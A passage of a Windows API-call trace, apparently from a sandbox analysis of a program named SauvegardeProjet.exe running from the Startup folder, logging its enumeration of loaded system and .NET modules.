out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0236.250] CoTaskMemFree (pv=0x6682db0) [0236.250] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.250] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71210000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0236.250] CoTaskMemFree (pv=0x6682db0) [0236.250] GetModuleInformation (in: hProcess=0x288, hModule=0x73ee0000, lpmodinfo=0x2591f80, cb=0xc | out: lpmodinfo=0x2591f80*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0236.251] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.251] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0236.252] CoTaskMemFree (pv=0x6682db0) [0236.252] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.252] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0236.252] CoTaskMemFree (pv=0x6682db0) [0236.252] GetModuleInformation (in: hProcess=0x288, hModule=0x73ac0000, lpmodinfo=0x2594198, cb=0xc | out: lpmodinfo=0x2594198*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0236.253] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.253] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ac0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0236.253] CoTaskMemFree (pv=0x6682db0) [0236.253] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.253] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ac0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0236.254] CoTaskMemFree (pv=0x6682db0) [0236.254] GetModuleInformation (in: hProcess=0x288, hModule=0x73a30000, lpmodinfo=0x25962a4, cb=0xc | out: lpmodinfo=0x25962a4*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0236.255] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.255] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.255] CoTaskMemFree (pv=0x6682db0) [0236.255] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.255] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0236.256] CoTaskMemFree (pv=0x6682db0) [0236.256] GetModuleInformation (in: hProcess=0x288, hModule=0x73a10000, lpmodinfo=0x259846c, cb=0xc | out: lpmodinfo=0x259846c*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0236.256] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.256] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0236.257] CoTaskMemFree (pv=0x6682db0) [0236.257] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.257] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0236.258] CoTaskMemFree (pv=0x6682db0) [0236.258] GetModuleInformation (in: hProcess=0x288, hModule=0x73940000, lpmodinfo=0x259a5bc, cb=0xc | out: lpmodinfo=0x259a5bc*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0236.258] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.258] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73940000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0236.259] CoTaskMemFree (pv=0x6682db0) [0236.259] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.259] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73940000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0236.260] CoTaskMemFree (pv=0x6682db0) [0236.260] GetModuleInformation (in: hProcess=0x288, hModule=0x71080000, lpmodinfo=0x259c7b8, cb=0xc | out: lpmodinfo=0x259c7b8*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0236.260] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.260] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71080000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0236.261] CoTaskMemFree (pv=0x6682db0) [0236.261] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.261] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71080000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0236.262] CoTaskMemFree (pv=0x6682db0) [0236.262] GetModuleInformation (in: hProcess=0x288, hModule=0x70ee0000, lpmodinfo=0x259e968, cb=0xc | out: lpmodinfo=0x259e968*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0236.262] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.262] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.263] CoTaskMemFree (pv=0x6682db0) [0236.263] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.263] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0236.263] CoTaskMemFree (pv=0x6682db0) [0236.264] GetModuleInformation (in: hProcess=0x288, hModule=0x735f0000, lpmodinfo=0x25a0b30, cb=0xc | out: lpmodinfo=0x25a0b30*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0236.264] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.264] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x735f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0236.265] CoTaskMemFree (pv=0x6682db0) [0236.265] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.265] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x735f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0236.266] CoTaskMemFree (pv=0x6682db0) [0236.266] GetModuleInformation (in: hProcess=0x288, hModule=0x75b40000, lpmodinfo=0x25a2c3c, cb=0xc | out: lpmodinfo=0x25a2c3c*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0236.266] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.266] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75b40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0236.267] CoTaskMemFree (pv=0x6682db0) [0236.267] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.267] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75b40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0236.268] CoTaskMemFree (pv=0x6682db0) [0236.268] GetModuleInformation (in: hProcess=0x288, hModule=0x70de0000, lpmodinfo=0x25a4d48, cb=0xc | out: lpmodinfo=0x25a4d48*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0236.268] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.268] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70de0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0236.269] CoTaskMemFree (pv=0x6682db0) [0236.269] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.269] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70de0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0236.270] CoTaskMemFree (pv=0x6682db0) [0236.270] GetModuleInformation (in: hProcess=0x288, hModule=0x77ae0000, lpmodinfo=0x25a6e6c, cb=0xc | out: lpmodinfo=0x25a6e6c*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0236.270] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.270] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0236.271] CoTaskMemFree (pv=0x6682db0) [0236.271] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.271] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0236.272] CoTaskMemFree (pv=0x6682db0) [0236.272] CloseHandle (hObject=0x288) returned 1 [0236.348] GetCurrentProcessId () returned 0x55c [0236.348] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x288 [0236.348] EnumProcessModules (in: hProcess=0x288, lphModule=0x261140c, cb=0x100, lpcbNeeded=0x540d1c0 | out: lphModule=0x261140c, lpcbNeeded=0x540d1c0) returned 1 [0236.348] GetModuleInformation (in: hProcess=0x288, hModule=0xfe0000, lpmodinfo=0x261154c, cb=0xc | out: lpmodinfo=0x261154c*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0236.348] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.348] GetModuleBaseNameW (in: hProcess=0x288, hModule=0xfe0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0236.349] CoTaskMemFree (pv=0x6682db0) [0236.349] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.349] GetModuleFileNameExW (in: hProcess=0x288, hModule=0xfe0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0236.349] CoTaskMemFree (pv=0x6682db0) [0236.349] GetModuleInformation (in: hProcess=0x288, hModule=0x77b10000, lpmodinfo=0x26136ec, cb=0xc | out: lpmodinfo=0x26136ec*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0236.349] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.349] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77b10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0236.349] CoTaskMemFree (pv=0x6682db0) [0236.349] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.349] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77b10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0236.350] CoTaskMemFree (pv=0x6682db0) [0236.350] GetModuleInformation (in: hProcess=0x288, hModule=0x736a0000, lpmodinfo=0x26157f0, cb=0xc | out: lpmodinfo=0x26157f0*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0236.350] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.350] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x736a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0236.350] CoTaskMemFree (pv=0x6682db0) [0236.350] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.350] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x736a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0236.350] CoTaskMemFree (pv=0x6682db0) [0236.350] GetModuleInformation (in: hProcess=0x288, hModule=0x77540000, lpmodinfo=0x26178fc, cb=0xc | out: lpmodinfo=0x26178fc*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0236.351] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.351] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0236.351] CoTaskMemFree (pv=0x6682db0) [0236.351] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.351] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0236.351] CoTaskMemFree (pv=0x6682db0) [0236.351] GetModuleInformation (in: hProcess=0x288, hModule=0x75990000, lpmodinfo=0x2619a10, cb=0xc | out: lpmodinfo=0x2619a10*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0236.351] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.351] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75990000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0236.351] CoTaskMemFree (pv=0x6682db0) [0236.352] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.352] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75990000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0236.352] CoTaskMemFree (pv=0x6682db0) [0236.352] GetModuleInformation (in: hProcess=0x288, hModule=0x773f0000, lpmodinfo=0x261bb58, cb=0xc | out: lpmodinfo=0x261bb58*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0236.352] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.352] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x773f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0236.352] CoTaskMemFree (pv=0x6682db0) [0236.352] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.352] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x773f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0236.352] CoTaskMemFree (pv=0x6682db0) [0236.352] GetModuleInformation (in: hProcess=0x288, hModule=0x77490000, lpmodinfo=0x261dc6c, cb=0xc | out: lpmodinfo=0x261dc6c*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0236.353] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.353] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77490000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0236.353] CoTaskMemFree (pv=0x6682db0) [0236.353] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.353] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77490000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0236.353] CoTaskMemFree (pv=0x6682db0) [0236.353] GetModuleInformation (in: hProcess=0x288, hModule=0x75f70000, lpmodinfo=0x261fd78, cb=0xc | out: lpmodinfo=0x261fd78*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0236.353] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.353] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75f70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0236.354] CoTaskMemFree (pv=0x6682db0) [0236.354] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.354] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75f70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0236.354] CoTaskMemFree (pv=0x6682db0) [0236.354] GetModuleInformation (in: hProcess=0x288, hModule=0x758a0000, lpmodinfo=0x2621e84, cb=0xc | out: lpmodinfo=0x2621e84*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0236.354] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.354] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x758a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0236.354] CoTaskMemFree (pv=0x6682db0) [0236.354] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.354] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x758a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0236.355] CoTaskMemFree (pv=0x6682db0) [0236.355] GetModuleInformation (in: hProcess=0x288, hModule=0x75670000, lpmodinfo=0x2623fdc, cb=0xc | out: lpmodinfo=0x2623fdc*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0236.355] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.355] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75670000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0236.355] CoTaskMemFree (pv=0x6682db0) [0236.355] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.355] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75670000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0236.356] CoTaskMemFree (pv=0x6682db0) [0236.356] GetModuleInformation (in: hProcess=0x288, hModule=0x75660000, lpmodinfo=0x26260e8, cb=0xc | out: lpmodinfo=0x26260e8*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0236.356] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.356] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75660000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0236.356] CoTaskMemFree (pv=0x6682db0) [0236.356] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.356] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75660000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0236.356] CoTaskMemFree (pv=0x6682db0) [0236.356] GetModuleInformation (in: hProcess=0x288, hModule=0x73620000, lpmodinfo=0x26281fc, cb=0xc | out: lpmodinfo=0x26281fc*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0236.357] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.357] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73620000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0236.357] CoTaskMemFree (pv=0x6682db0) [0236.357] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.357] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73620000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0236.357] CoTaskMemFree (pv=0x6682db0) [0236.357] GetModuleInformation (in: hProcess=0x288, hModule=0x75db0000, lpmodinfo=0x262a344, cb=0xc | out: lpmodinfo=0x262a344*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0236.358] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.358] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75db0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0236.358] CoTaskMemFree (pv=0x6682db0) [0236.358] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.358] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75db0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0236.358] CoTaskMemFree (pv=0x6682db0) [0236.358] GetModuleInformation (in: hProcess=0x288, hModule=0x75810000, lpmodinfo=0x262c450, cb=0xc | out: lpmodinfo=0x262c450*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0236.359] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.359] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75810000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0236.359] CoTaskMemFree (pv=0x6682db0) [0236.359] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.359] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75810000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0236.359] CoTaskMemFree (pv=0x6682db0) [0236.359] GetModuleInformation (in: hProcess=0x288, hModule=0x75e10000, lpmodinfo=0x262e554, cb=0xc | out: lpmodinfo=0x262e554*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0236.360] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.360] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75e10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0236.360] CoTaskMemFree (pv=0x6682db0) [0236.360] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.360] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75e10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0236.360] CoTaskMemFree (pv=0x6682db0) [0236.360] GetModuleInformation (in: hProcess=0x288, hModule=0x772c0000, lpmodinfo=0x2630660, cb=0xc | out: lpmodinfo=0x2630660*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0236.361] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.361] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x772c0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0236.361] CoTaskMemFree (pv=0x6682db0) [0236.361] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.361] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x772c0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0236.361] CoTaskMemFree (pv=0x6682db0) [0236.362] GetModuleInformation (in: hProcess=0x288, hModule=0x75a30000, lpmodinfo=0x263275c, cb=0xc | out: lpmodinfo=0x263275c*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0236.362] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.362] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0236.362] CoTaskMemFree (pv=0x6682db0) [0236.362] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.362] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0236.363] CoTaskMemFree (pv=0x6682db0) [0236.363] GetModuleInformation (in: hProcess=0x288, hModule=0x75ae0000, lpmodinfo=0x26348ec, cb=0xc | out: lpmodinfo=0x26348ec*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0236.363] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.363] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0236.363] CoTaskMemFree (pv=0x6682db0) [0236.363] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.363] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0236.364] CoTaskMemFree (pv=0x6682db0) [0236.364] GetModuleInformation (in: hProcess=0x288, hModule=0x75be0000, lpmodinfo=0x26369f0, cb=0xc | out: lpmodinfo=0x26369f0*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0236.364] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.364] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75be0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0236.365] CoTaskMemFree (pv=0x6682db0) [0236.365] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 